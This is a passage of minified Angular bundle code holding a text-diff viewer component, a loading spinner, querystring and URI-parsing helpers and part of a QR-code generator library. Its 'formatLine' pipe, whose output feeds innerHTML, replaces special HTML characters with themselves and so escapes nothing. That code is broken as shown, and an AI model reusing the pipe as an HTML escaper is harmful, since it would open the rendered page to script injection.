w=P.$implicit;a.xp6(2),a.Oqu(null==w.leftContent?null:w.leftContent.lineNumber),a.xp6(2),a.Oqu(null==w.rightContent?null:w.rightContent.lineNumber),a.xp6(1),a.Q6J("ngClass",a.WLB(7,ce,"-"===(null==w.leftContent?null:w.leftContent.prefix),"+"===(null==w.rightContent?null:w.rightContent.prefix))),a.xp6(2),a.Oqu((null==w.leftContent?null:w.leftContent.prefix)||(null==w.rightContent?null:w.rightContent.prefix)||" "),a.xp6(1),a.Q6J("ngIf",!w.hasDiffs),a.xp6(1),a.Q6J("ngIf",w.hasDiffs&&w.leftContent&&0!==(null==w.leftContent?null:w.leftContent.lineDiffs.length)),a.xp6(1),a.Q6J("ngIf",w.hasDiffs&&w.rightContent&&0!==(null==w.rightContent?null:w.rightContent.lineDiffs.length))}}function qe(pe,P){if(1&pe&&(a.TgZ(0,"div",29)(1,"table",19)(2,"tbody"),a.YNc(3,Ye,11,10,"tr",20),a.qZA()()()),2&pe){const w=a.oxw(2);a.xp6(3),a.Q6J("ngForOf",w.filteredTableRowsLineByLine)("ngForTrackBy",w.trackTableRows)}}function Ke(pe,P){if(1&pe&&(a.TgZ(0,"div",2),a.YNc(1,S,6,4,"div",3),a.YNc(2,z,3,1,"div",4),a.TgZ(3,"div",5),a.YNc(4,Ce,4,2,"div",6),a.YNc(5,we,4,2,"div",7),a.YNc(6,qe,4,2,"div",8),a.qZA()()),2&pe){const w=a.oxw();a.Q6J("ngClass",w.outerContainerClass)("ngStyle",w.outerContainerStyle),a.xp6(1),a.Q6J("ngIf",w.showToolbar),a.xp6(1),a.Q6J("ngIf",w.showToolbar&&w.showBtnToolbar),a.xp6(1),a.Q6J("ngClass",w.compareRowsClass)("ngStyle",w.compareRowsStyle),a.xp6(1),a.Q6J("ngIf","SideBySide"===w.format),a.xp6(1),a.Q6J("ngIf","SideBySide"===w.format),a.xp6(1),a.Q6J("ngIf","LineByLine"===w.format)}}function dt(pe,P){1&pe&&(a.TgZ(0,"div",1),a._UZ(1,"div")(2,"div")(3,"div")(4,"div")(5,"div")(6,"div")(7,"div")(8,"div"),a.qZA())}const ze=pe=>null==pe||!(Object.keys(pe)||pe).length||0===(Object.keys(pe)||pe).length;let De=(()=>{let pe=class{constructor(){this.initParser()}initParser(){this.diffParser=new s.diff_match_patch}getDiffsByLines(w,R){return new Promise((X,_e)=>{const ct=this.diffParser.diff_linesToChars_(w,R),Dt=ct.lineArray,Pt=this.diffParser.diff_main(ct.chars1,ct.chars2,!0);this.diffParser.diff_charsToLines_(Pt,Dt);const Ie=this.formatOutput(Pt);Ie||_e("Error"),X(Ie)})}formatOutput(w){let R=1,X=1;return w.reduce((_e,ct)=>{_e||(_e=[]);const Et=ct[1];let Dt=null,Pt=null,Ie=null,te=null,x=null;switch(ct[0]){case s.DIFF_EQUAL:Et.split("\\n").filter((m,b,B)=>b!==B.length-1||!ze(m)).forEach(m=>{Ie={lineNumber:R,lineContent:m,lineDiffs:[],prefix:""},te={lineNumber:X,lineContent:m,lineDiffs:[],prefix:""},x={leftContent:Ie,rightContent:te,belongTo:"both",hasDiffs:!1,numDiffs:0},_e.push(x),X+=1,R+=1});break;case s.DIFF_DELETE:Et.split("\\n").filter((m,b,B)=>b!==B.length-1||!ze(m)).forEach(m=>{Pt=_e.find(b=>!b.leftContent&&b.rightContent&&b.rightContent.lineNumber===R&&""!==b.rightContent.prefix),Ie={lineNumber:R,lineContent:m,lineDiffs:[{content:m,isDiff:!0}],prefix:"-"},Pt?(Pt.leftContent=Ie,Pt.leftContent.lineDiffs=this.getDiffParts(Pt.leftContent.lineContent,Pt.rightContent.lineContent),Pt.rightContent.lineDiffs=this.getDiffParts(Pt.rightContent.lineContent,Pt.leftContent.lineContent),Pt.belongTo="both",Pt.numDiffs=this.countDiffs(Pt)):_e.push({leftContent:Ie,rightContent:null,hasDiffs:!0,belongTo:"left",numDiffs:1}),R+=1});break;case s.DIFF_INSERT:Et.split("\\n").filter((m,b,B)=>b!==B.length-1||!ze(m)).forEach(m=>{Dt=_e.find(b=>b.leftContent&&!b.rightContent&&b.leftContent.lineNumber===X&&""!==b.leftContent.prefix),te={lineNumber:X,lineContent:m,lineDiffs:[{content:m,isDiff:!0}],prefix:"+"},Dt?(Dt.rightContent=te,Dt.leftContent.lineDiffs=this.getDiffParts(Dt.leftContent.lineContent,Dt.rightContent.lineContent),Dt.rightContent.lineDiffs=this.getDiffParts(Dt.rightContent.lineContent,Dt.leftContent.lineContent),Dt.belongTo="both",Dt.numDiffs=this.countDiffs(Dt)):_e.push({leftContent:null,rightContent:te,hasDiffs:!0,belongTo:"right",numDiffs:1}),X+=1})}return _e},[])}countDiffs(w){let R=0;return w.leftContent&&(R+=w.leftContent.lineDiffs.filter(X=>X.isDiff).length),w.leftContent&&(R+=w.rightContent.lineDiffs.filter(X=>X.isDiff).length),R}getDiffParts(w,R){const X=[];let _e=0,ct=0,Je="",Et="";for(;_e<w.length;)w[_e]===R[ct]&&ct<R.length?(""!==Et&&(X.push({content:Et,isDiff:!0}),Et=""),Je+=w[_e]):(""!==Je&&(X.push({content:Je,isDiff:!1}),Je=""),Et+=w[_e]),_e++,ct++;return""!==Et?X.push({content:Et,isDiff:!0}):""!==Je&&X.push({content:Je,isDiff:!1}),X}};return pe.\\u0275fac=function(w){return new(w||pe)},pe.\\u0275prov=(0,a.Yz7)({factory:function(){return new pe},token:pe,providedIn:"root"}),pe=(0,n.gn)([(0,n.w6)("design:paramtypes",[])],pe),pe})(),re=(()=>{let pe=class{constructor(w){this._el=w,this.element=w.nativeElement}};return pe.\\u0275fac=function(w){return new(w||pe)(a.Y36(a.SBq))},pe.\\u0275dir=a.lG2({type:pe,selectors:[["","tdContainer",""]],inputs:{id:"id"}}),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",String)],pe.prototype,"id",void 0),pe=(0,n.gn)([(0,n.w6)("design:paramtypes",[a.SBq])],pe),pe})(),ve=(()=>{let pe=class{constructor(w,R,X){this.scrollService=w,this.diff=R,this.cd=X,this._hideMatchingLines=!1,this.format="SideBySide",this.left="",this.right="",this.loading=!1,this.showToolbar=!0,this.showBtnToolbar=!0,this.synchronizeScrolling=!0,this.compareResults=new a.vpe,this.subscriptions=[],this.tableRows=[],this.filteredTableRows=[],this.tableRowsLineByLine=[],this.filteredTableRowsLineByLine=[],this.diffsCount=0,this.formatOptions=[{id:"side-by-side",name:"side-by-side",label:"Side by Side",value:"SideBySide",icon:"la-code"},{id:"line-by-line",name:"line-by-line",label:"Line by Line",value:"LineByLine",icon:"la-file-text"}]}get hideMatchingLines(){return this._hideMatchingLines}set hideMatchingLines(w){this.hideMatchingLinesChanged(w)}ngOnInit(){this.loading=!0,this.diffContent&&this.subscriptions.push(this.diffContent.subscribe(w=>{this.loading=!0,this.left=w.leftContent,this.right=w.rightContent,this.renderDiffs().then(()=>{this.cd.detectChanges(),this.loading=!1}).catch(()=>this.loading=!1)})),this.renderDiffs().then(()=>this.loading=!1).catch(w=>this.loading=!1)}ngAfterViewInit(){this.initScrollListener()}ngOnDestroy(){this.subscriptions&&this.subscriptions.forEach(w=>w.unsubscribe())}hideMatchingLinesChanged(w){this._hideMatchingLines=w,this.hideMatchingLines?(this.filteredTableRows=this.tableRows.filter(R=>R.leftContent&&"-"===R.leftContent.prefix||R.rightContent&&"+"===R.rightContent.prefix),this.filteredTableRowsLineByLine=this.tableRowsLineByLine.filter(R=>R.leftContent&&"-"===R.leftContent.prefix||R.rightContent&&"+"===R.rightContent.prefix)):(this.filteredTableRows=this.tableRows,this.filteredTableRowsLineByLine=this.tableRowsLineByLine)}setDiffTableFormat(w){this.format=w}renderDiffs(){return(0,n.mG)(this,void 0,void 0,function*(){try{this.diffsCount=0,this.tableRows=yield this.diff.getDiffsByLines(this.left,this.right),this.tableRowsLineByLine=this.tableRows.reduce((w,R)=>(w||(w=[]),R.hasDiffs?(R.leftContent&&w.push({leftContent:R.leftContent,rightContent:null,belongTo:R.belongTo,hasDiffs:!0,numDiffs:R.numDiffs}),R.rightContent&&w.push({leftContent:null,rightContent:R.rightContent,belongTo:R.belongTo,hasDiffs:!0,numDiffs:R.numDiffs})):w.push(R),w),[]),this.diffsCount=this.tableRows.filter(w=>w.hasDiffs).length,this.filteredTableRows=this.tableRows,this.filteredTableRowsLineByLine=this.tableRowsLineByLine,this.emitCompareResultsEvent()}catch(w){throw w}})}emitCompareResultsEvent(){const w={hasDiff:this.diffsCount>0,diffsCount:this.diffsCount,rowsWithDiff:this.tableRows.filter(R=>R.hasDiffs).map(R=>({leftLineNumber:R.leftContent?R.leftContent.lineNumber:null,rightLineNumber:R.rightContent?R.rightContent.lineNumber:null,numDiffs:R.numDiffs}))};this.compareResults.next(w)}trackTableRows(w,R){return R&&R.leftContent?R.leftContent.lineContent:R&&R.rightContent?R.rightContent.lineContent:void 0}trackDiffs(w,R){return R&&R.content?R.content:void 0}initScrollListener(){this.subscriptions.push(this.scrollService.scrolled().subscribe(w=>{if(w&&this.synchronizeScrolling){const R=w.getElementRef().nativeElement.id,X=this.containers.find(_e=>_e.id!==R);X&&X.element.scrollTo({top:w.measureScrollOffset("top"),left:w.measureScrollOffset("left")})}}))}};return pe.\\u0275fac=function(w){return new(w||pe)(a.Y36(f.mF),a.Y36(De),a.Y36(a.sBO))},pe.\\u0275cmp=a.Xpm({type:pe,selectors:[["td-ngx-text-diff"]],viewQuery:function(w,R){if(1&w&&a.Gf(re,5),2&w){let X;a.iGM(X=a.CRH())&&(R.containers=X)}},inputs:{format:"format",left:"left",right:"right",loading:"loading",showToolbar:"showToolbar",showBtnToolbar:"showBtnToolbar",synchronizeScrolling:"synchronizeScrolling",hideMatchingLines:"hideMatchingLines",diffContent:"diffContent",outerContainerClass:"outerContainerClass",outerContainerStyle:"outerContainerStyle",toolbarClass:"toolbarClass",toolbarStyle:"toolbarStyle",compareRowsClass:"compareRowsClass",compareRowsStyle:"compareRowsStyle"},outputs:{compareResults:"compareResults"},decls:2,vars:2,consts:[[3,"active"],["class","td-wrapper",3,"ngClass","ngStyle",4,"ngIf"],[1,"td-wrapper",3,"ngClass","ngStyle"],[3,"ngClass","ngStyle",4,"ngIf"],["class","td-toolbar-select-format",4,"ngIf"],[1,"td-table-wrapper",3,"ngClass","ngStyle"],["class","td-table-container side-by-side","id","td-left-compare-container","tdContainer","","cdkScrollable","",4,"ngIf"],["class","td-table-container side-by-side","id","td-right-compare-container","tdContainer","","cdkScrollable","",4,"ngIf"],["class","td-table-container line-by-line",4,"ngIf"],[3,"ngClass","ngStyle"],[1,"td-toolbar-show-diff"],[1,"td-checkbox-container"],["type","checkbox","id","showDiffs",3,"ngModel","ngModelChange"],[1,"checkmark"],[1,"td-toolbar-select-format"],["data-toggle","buttons",1,"td-btn-group","td-btn-group-toggle"],[3,"ngClass","name","id","disabled","click",4,"ngFor","ngForOf"],[3,"ngClass","name","id","disabled","click"],["id","td-left-compare-container","tdContainer","","cdkScrollable","",1,"td-table-container","side-by-side"],[1,"td-table"],[4,"ngFor","ngForOf","ngForTrackBy"],["scope","row",1,"fit-column","line-number-col",3,"ngClass"],[1,"fit-column","prefix-col",3,"ngClass"],["class","content-col",3,"ngClass",4,"ngIf"],[1,"content-col",3,"ngClass"],[3,"innerHTML"],[3,"innerHTML","ngClass",4,"ngFor","ngForOf","ngForTrackBy"],[3,"innerHTML","ngClass"],["id","td-right-compare-container","tdContainer","","cdkScrollable","",1,"td-table-container","side-by-side"],[1,"td-table-container","line-by-line"],["scope","row",1,"fit-column","line-number-col-left"],["scope","row",1,"fit-column","line-number-col"]],template:function(w,R){1&w&&(a._UZ(0,"td-loader-spinner",0),a.YNc(1,Ke,7,9,"div",1)),2&w&&(a.Q6J("active",R.loading),a.xp6(1),a.Q6J("ngIf",!R.loading))},dependencies:function(){return[E.mk,E.sg,E.O5,E.PC,_.Wl,_.JJ,_.On,f.PQ,We,re,xt]},styles:[".td-wrapper[_ngcontent-%COMP%]{display:grid;width:100%;grid-row-gap:10px;grid-template-columns:repeat(2,[col] 50%);grid-template-rows:repeat(2,[row] auto);background-color:#fff;color:#444}.td-toolbar-show-diff[_ngcontent-%COMP%]{grid-column:1;grid-row:1}.td-toolbar-select-format[_ngcontent-%COMP%]{margin-left:auto;grid-column:2;grid-row:1}.td-table-container[_ngcontent-%COMP%]{grid-column:1/2;grid-row:2;width:100%;max-width:100%;overflow-x:auto}.td-table-wrapper[_ngcontent-%COMP%]{display:flex;width:200%}.td-table[_ngcontent-%COMP%]{border:1px solid #a9a9a9;max-height:50vh;width:100%;max-width:100%}.fit-column[_ngcontent-%COMP%]{width:1px;white-space:nowrap}.line-number-col[_ngcontent-%COMP%]{position:relative;position:-webkit-sticky;position:sticky;left:0;top:auto;border-right:1px solid #ddd;color:#999;text-align:right;background-color:#f7f7f7;padding-left:10px;padding-right:10px;font-size:87.5%}.line-number-col-left[_ngcontent-%COMP%]{color:#999;padding-left:10px;padding-right:10px;text-align:right;background-color:#f7f7f7;font-size:87.5%}.insert-row[_ngcontent-%COMP%], .insert-row[_ngcontent-%COMP%] > .line-number-col[_ngcontent-%COMP%]{background-color:#dfd;border-color:#b4e2b4}.delete-row[_ngcontent-%COMP%], .delete-row[_ngcontent-%COMP%] > .line-number-col[_ngcontent-%COMP%]{background-color:#fee8e9;border-color:#e9aeae}.empty-row[_ngcontent-%COMP%]{background-color:#f7f7f7;height:24px}.td-table[_ngcontent-%COMP%] td[_ngcontent-%COMP%]{border-top:0;padding-top:0;padding-bottom:0;white-space:nowrap;max-width:50%}pre[_ngcontent-%COMP%]{margin-bottom:0}td.content-col[_ngcontent-%COMP%]{padding:0;margin:0;line-height:24px}td.prefix-col[_ngcontent-%COMP%]{padding-left:10px;padding-right:10px;line-height:24px}.td-btn-group[_ngcontent-%COMP%]{border-radius:4px}.td-btn-group[_ngcontent-%COMP%] button[_ngcontent-%COMP%]{background-color:rgba(23,162,184,.7);border:1px solid #17a2b8;color:#fff;cursor:pointer;float:left}.td-btn-group[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:not(:last-child){border-right:none}.td-btn-group[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:first-child{-webkit-border-top-left-radius:4px;-webkit-border-bottom-left-radius:4px;-moz-border-radius-topleft:4px;-moz-border-radius-bottomleft:4px;border-top-left-radius:4px;border-bottom-left-radius:4px}.td-btn-group[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:last-child{-webkit-border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-bottomright:4px;border-top-right-radius:4px;border-bottom-right-radius:4px}.td-btn-group[_ngcontent-%COMP%]:after{content:\'\';clear:both;display:table}.td-btn-group[_ngcontent-%COMP%] button.active[_ngcontent-%COMP%], .td-btn-group[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:hover{background-color:#17a2b8}.td-checkbox-container[_ngcontent-%COMP%]{display:block;position:relative;padding-left:21px;margin-bottom:0;cursor:pointer;font-size:16px;line-height:28px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.td-checkbox-container[_ngcontent-%COMP%] input[_ngcontent-%COMP%]{position:absolute;opacity:0;cursor:pointer;height:0;width:0}.checkmark[_ngcontent-%COMP%]{position:absolute;top:7px;left:0;height:16px;width:16px;background-color:#eee}.td-checkbox-container[_ngcontent-%COMP%]:hover input[_ngcontent-%COMP%] ~ .checkmark[_ngcontent-%COMP%]{background-color:#ccc}.td-checkbox-container[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:checked ~ .checkmark[_ngcontent-%COMP%]{background-color:#17a2b8}.checkmark[_ngcontent-%COMP%]:after{content:\\"\\";position:absolute;display:none}.td-checkbox-container[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:checked ~ .checkmark[_ngcontent-%COMP%]:after{display:block}.td-checkbox-container[_ngcontent-%COMP%] .checkmark[_ngcontent-%COMP%]:after{left:5px;top:3px;width:5px;height:10px;border:solid #fff;border-width:0 3px 3px 0;transform:rotate(45deg)}.insert-row[_ngcontent-%COMP%] > .highlight[_ngcontent-%COMP%]{background-color:#acf2bd!important}.delete-row[_ngcontent-%COMP%] > .highlight[_ngcontent-%COMP%]{background-color:#fdb8c0!important}"]}),(0,n.gn)([(0,a.vR)(re),(0,n.w6)("design:type",a.n_E)],pe.prototype,"containers",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",String)],pe.prototype,"format",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"left",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"right",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",c.y)],pe.prototype,"diffContent",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"loading",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"showToolbar",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"showBtnToolbar",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Boolean),(0,n.w6)("design:paramtypes",[Boolean])],pe.prototype,"hideMatchingLines",null),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",String)],pe.prototype,"outerContainerClass",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"outerContainerStyle",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",String)],pe.prototype,"toolbarClass",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"toolbarStyle",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",String)],pe.prototype,"compareRowsClass",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"compareRowsStyle",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"synchronizeScrolling",void 0),(0,n.gn)([(0,a.r_U)(),(0,n.w6)("design:type",Object)],pe.prototype,"compareResults",void 0),pe=(0,n.gn)([(0,n.w6)("design:paramtypes",[f.mF,De,a.sBO])],pe),pe})(),We=(()=>{let pe=class{constructor(){this.active=!1}ngOnInit(){}};return pe.\\u0275fac=function(w){return new(w||pe)},pe.\\u0275cmp=a.Xpm({type:pe,selectors:[["td-loader-spinner"]],inputs:{active:"active"},decls:1,vars:1,consts:[["class","td-loading-roller",4,"ngIf"],[1,"td-loading-roller"]],template:function(w,R){1&w&&a.YNc(0,dt,9,0,"div",0),2&w&&a.Q6J("ngIf",R.active)},dependencies:[E.O5],styles:[\'.td-loading-roller[_ngcontent-%COMP%]{display:inline-block;position:relative;width:64px;height:64px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]{-webkit-animation:1.2s cubic-bezier(.5,0,.5,1) infinite _ngcontent-%COMP%_lds-roller;animation:1.2s cubic-bezier(.5,0,.5,1) infinite _ngcontent-%COMP%_lds-roller;transform-origin:32px 32px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:after{content:" ";display:block;position:absolute;width:6px;height:6px;border-radius:50%;background:#000;margin:-3px 0 0 -3px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(1){-webkit-animation-delay:-36ms;animation-delay:-36ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(1):after{top:50px;left:50px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(2){-webkit-animation-delay:-72ms;animation-delay:-72ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(2):after{top:54px;left:45px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(3){-webkit-animation-delay:-108ms;animation-delay:-108ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(3):after{top:57px;left:39px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(4){-webkit-animation-delay:-144ms;animation-delay:-144ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(4):after{top:58px;left:32px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(5){-webkit-animation-delay:-.18s;animation-delay:-.18s}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(5):after{top:57px;left:25px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(6){-webkit-animation-delay:-216ms;animation-delay:-216ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(6):after{top:54px;left:19px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(7){-webkit-animation-delay:-252ms;animation-delay:-252ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(7):after{top:50px;left:14px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(8){-webkit-animation-delay:-288ms;animation-delay:-288ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(8):after{top:45px;left:10px}@-webkit-keyframes _ngcontent-%COMP%_lds-roller{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}@keyframes _ngcontent-%COMP%_lds-roller{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}\']}),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"active",void 0),pe=(0,n.gn)([(0,n.w6)("design:paramtypes",[])],pe),pe})(),xt=(()=>{let pe=class{transform(w,R){return w?w.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/ /g," "):" "}};return pe.\\u0275fac=function(w){return new(w||pe)},pe.\\u0275pipe=a.Yjl({name:"formatLine",type:pe,pure:!0}),pe})(),Be=(()=>{let pe=class{};return pe.\\u0275fac=function(w){return new(w||pe)},pe.\\u0275mod=a.oAB({type:pe}),pe.\\u0275inj=a.cJS({imports:[E.ez,_.u5,f.Cl]}),pe})()},3257:(At,ae)=>{ae.encode=function(d){var n="";for(var a in d)d.hasOwnProperty(a)&&(n.length&&(n+="&"),n+=encodeURIComponent(a)+"="+encodeURIComponent(d[a]));return n},ae.decode=function(d){for(var n={},a=d.split("&"),s=0,u=a.length;s<u;s++){var c=a[s].split("=");n[decodeURIComponent(c[0])]=decodeURIComponent(c[1])}return n}},1884:At=>{var ae=/^(?:(?![^:@]+:[^:@\\/]*@)(http|https|ws|wss):\\/\\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?((?:[a-f0-9]{0,4}:){2,7}[a-f0-9]{0,4}|[^:\\/?#]*)(?::(\\d*))?)(((\\/(?:[^?#](?![^?#\\/]*\\.[^?#\\/.]+(?:[?#]|$)))*\\/?)?([^?#\\/]*))(?:\\?([^#]*))?(?:#(.*))?)/,d=["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"];At.exports=function(u){var c=u,f=u.indexOf("["),E=u.indexOf("]");-1!=f&&-1!=E&&(u=u.substring(0,f)+u.substring(f,E).replace(/:/g,";")+u.substring(E,u.length));for(var _=ae.exec(u||""),S={},g=14;g--;)S[d[g]]=_[g]||"";return-1!=f&&-1!=E&&(S.source=c,S.host=S.host.substring(1,S.host.length-1).replace(/;/g,":"),S.authority=S.authority.replace("[","").replace("]","").replace(/;/g,":"),S.ipv6uri=!0),S.pathNames=function n(s,u){var f=u.replace(/\\/{2,9}/g,"/").split("/");return("/"==u.substr(0,1)||0===u.length)&&f.splice(0,1),"/"==u.substr(u.length-1,1)&&f.splice(f.length-1,1),f}(0,S.path),S.queryKey=function a(s,u){var c={};return u.replace(/(?:^|&)([^&=]*)=?([^&]*)/g,function(f,E,_){E&&(c[E]=_)}),c}(0,S.query),S}},2516:function(At){At.exports=function(){"use strict";var ae=function(){},d=Object.prototype.hasOwnProperty,n=Array.prototype.slice;function u(P,w,R){for(var X,_e,ct=0,Je=(R=n.call(arguments,2)).length;ct<Je;ct++)for(X in _e=R[ct])(!P||d.call(_e,X))&&(w[X]=_e[X])}var c=function s(P,w,R,X){var _e=this;return"string"!=typeof P&&(X=R,R=w,w=P,P=null),"function"!=typeof w&&(X=R,R=w,w=function(){return _e.apply(this,arguments)}),u(!1,w,_e,X),w.prototype=function a(P,w){var R;return"function"==typeof Object.create?R=Object.create(P):(ae.prototype=P,R=new ae,ae.prototype=null),w&&u(!0,R,w),R}(_e.prototype,R),w.prototype.constructor=w,w.class_=P||_e.class_,w.super_=_e,w};function f(){}f.class_="Nevis",f.super_=Object,f.extend=c;var _=f,g=_.extend(function(P,w,R){this.qrious=P,this.element=w,this.element.qrious=P,this.enabled=Boolean(R)},{draw:function(P){},getElement:function(){return this.enabled||(this.enabled=!0,this.render()),this.element},getModuleSize:function(P){var w=this.qrious,X=Math.floor((w.size-2*(w.padding||0))/P.width);return Math.max(1,X)},getOffset:function(P){var w=this.qrious,R=w.padding;if(null!=R)return R;var X=this.getModuleSize(P),_e=Math.floor((w.size-X*P.width)/2);return Math.max(0,_e)},render:function(P){this.enabled&&(this.resize(),this.reset(),this.draw(P))},reset:function(){},resize:function(){}}),z=g.extend({draw:function(P){var w,R,X=this.qrious,_e=this.getModuleSize(P),ct=this.getOffset(P),Je=this.element.getContext("2d");for(Je.fillStyle=X.foreground,Je.globalAlpha=X.foregroundAlpha,w=0;w<P.width;w++)for(R=0;R<P.width;R++)P.buffer[R*P.width+w]&&Je.fillRect(_e*w+ct,_e*R+ct,_e,_e)},reset:function(){var P=this.qrious,w=this.element.getContext("2d"),R=P.size;w.lineWidth=1,w.clearRect(0,0,R,R),w.fillStyle=P.background,w.globalAlpha=P.backgroundAlpha,w.fillRect(0,0,R,R)},resize:function(){var P=this.element;P.width=P.height=this.qrious.size}}),j=_.extend(null,{BLOCK:[0,11,15,19,23,27,31,16,18,20,22,24,26,28,20,22,24,24,26,28,28,22,24,24,26,26,28,28,24,24,26,26,26,28,28,24,26,26,26,28,28]}),G=_.extend(null,{BLOCKS:[1,0,19,7,1,0,16,10,1,0,13,13,1,0,9,17,1,0,34,10,1,0,28,16,1,0,22,22,1,0,16,28,1,0,55,15,1,0,44,26,2,0,17,18,2,0,13,22,1,0,80,20,2,0,32,18,2,0,24,26,4,0,9,16,1,0,108,26,2,0,43,24,2,2,15,18,2,2,11,22,2,0,68,18,4,0,27,16,4,0,19,24,4,0,15,28,2,0,78,20,4,0,31,18,2,4,14,18,4,1,13,26,2,0,97,24,2,2,38,22,4,2,18,22,4,2,14,26,2,0,116,30,3,2,36,22,4,4,16,20,4,4,12,24,2,2,68,18,4,1,43,26,6,2,19,24,6,2,15,28,4,0,81,20,1,4,50,30,4,4,22,28,3,8,12,24,2,2,92,24,6,2,36,22,4,6,20,26,7,4,14,28,4,0,107,26,8,1,37,22,8,4,20,24,12,4,11,22,3,1,115,30,4,5,40,24,11,5,16,20,11,5,12,24,5,1,87,22,5,5,41,24,5,7,24,30,11,7,12,24,5,1,98,24,7,3,45,28,15,2,19,24,3,13,15,30,1,5,107,28,10,1,46,28,1,15,22,28,2,17,14,28,5,1,120,30,9,4,43,26,17,1,22,28,2,19,14,28,3,4,113,28,3,11,44,26,17,4,21,26,9,16,13,26,3,5,107,28,3,13,41,26,15,5,24,30,15,10,15,28,4,4,116,28,17,0,42,26,17,6,22,28,19,6,16,30,2,7,111,28,17,0,46,28,7,16,24,30,34,0,13,24,4,5,121,30,4,14,47,28,11,14,24,30,16,14,15,30,6,4,117,30,6,14,45,28,11,16,24,30,30,2,16,30,8,4,106,26,8,13,47,28,7,22,24,30,22,13,15,30,10,2,114,28,19,4,46,28,28,6,22,28,33,4,16,30,8,4,122,30,22,3,45,28,8,26,23,30,12,28,15,30,3,10,117,30,3,23,45,28,4,31,24,30,11,31,15,30,7,7,116,30,21,7,45,28,1,37,23,30,19,26,15,30,5,10,115,30,19,10,47,28,15,25,24,30,23,25,15,30,13,3,115,30,2,29,46,28,42,1,24,30,23,28,15,30,17,0,115,30,10,23,46,28,10,35,24,30,19,35,15,30,17,1,115,30,14,21,46,28,29,19,24,30,11,46,15,30,13,6,115,30,14,23,46,28,44,7,24,30,59,1,16,30,12,7,121,30,12,26,47,28,39,14,24,30,22,41,15,30,6,14,121,30,6,34,47,28,46,10,24,30,2,64,15,30,17,4,122,30,29,14,46,28,49,10,24,30,24,46,15,30,4,18,122,30,13,32,46,28,48,14,24,30,42,32,15,30,20,4,117,30,40,7,47,28,43,22,24,30,10,67,15,30,19,6,118,30,18,31,47,28,34,34,24,30,20,61,15,30],FINAL_FORMAT:[30660,29427,32170,30877,26159,25368,27713,26998,21522,20773,24188,23371,17913,16590,20375,19104,13663,12392,16177,14854,9396,8579,11994,11245,5769,5054,7399,6608,1890,597,3340,2107],LEVELS:{L:1,M:2,Q:3,H:4}}),oe=_.extend(null,{EXPONENT:[1,2,4,8,16,32,64,128,29,58,116,232,205,135,19,38,76,152,45,90,180,117,234,201,143,3,6,12,24,48,96,192,157,39,78,156,37,74,148,53,106,212,181,119,238,193,159,35,70,140,5,10,20,40,80,160,93,186,105,210,185,111,222,161,95,190,97,194,153,47,94,188,101,202,137,15,30,60,120,240,253,231,211,187,107,214,177,127,254,225,223,163,91,182,113,226,217,175,67,134,17,34,68,136,13,26,52,104,208,189,103,206,129,31,62,124,248,237,199,147,59,118,236,197,151,51,102,204,133,23,46,92,184,109,218,169,79,158,33,66,132,21,42,84,168,77,154,41,82,164,85,170,73,146,57,114,228,